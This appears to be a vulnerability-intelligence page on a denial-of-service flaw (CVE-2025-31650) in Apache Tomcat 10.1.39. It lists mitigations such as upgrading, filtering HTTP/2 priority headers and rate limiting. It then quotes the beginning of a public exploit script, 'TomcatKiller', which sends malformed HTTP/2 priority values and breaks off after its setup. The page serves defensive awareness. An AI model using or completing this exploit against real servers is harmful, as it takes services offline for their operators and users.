Apache Tomcat 10.1.39 · Denial of Service (DoS)
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Mentioned vulnerabilities
Rated by Threat Radar
Data as of 11 Jun 2025, 23:44 UTC
What to do
AI-suggested
1. Immediate upgrade: Organizations should upgrade Apache Tomcat to a version later than 10.1.39 once an official patch is released. In the absence of a patch, consider downgrading to a non-vulnerable version or disabling HTTP/2 support if feasible. 2. HTTP/2 filtering: Deploy network-level controls such as Web Application Firewalls (WAFs) or reverse proxies that can inspect and filter malformed HTTP/2 priority headers to block suspicious traffic before it reaches the Tomcat server. 3. Rate limiting: Implement strict rate limiting on incoming HTTP/2 connections and requests to reduce the impact of flooding attacks. 4. Monitoring and alerting: Enhance monitoring of Tomcat server memory usage, response times, and availability. Use tools like VisualVM or analyze catalina.out logs for OutOfMemoryError or other memory-related exceptions. 5. Network segmentation: Isolate critical Tomcat servers behind internal firewalls and restrict access to trusted networks to reduce exposure. 6. Incident response preparation: Develop and test incident response plans specifically for DoS scenarios affecting Tomcat services. 7. Disable HTTP/2 if not required: If HTTP/2 is not essential for the application, disable it to eliminate the attack vector. 8. Vendor communication: Stay in contact with Apache Tomcat maintainers for timely patch releases and advisories.
Description
Apache Tomcat 10.1.39 - Denial of Service (DoS)
Indicators of compromise
Exploit source code
# Exploit Title: Apache Tomcat 10.1.39 - Denial of Service (DOS)
# Author: Abdualhadi khalifa
# CVE: CVE-2025-31650
import httpx
import asyncio
import random
import urllib.parse
import sys
import socket
from colorama import init, Fore, Style
init()
class TomcatKiller:
def __init__(self):
self.success_count = 0
self.error_count = 0
self.invalid_priorities = [
\\\"u=-1, q=2\\\",
\\\"u=4294967295, q=-1\\\",
\\\"u=-2147483648, q=1.5\…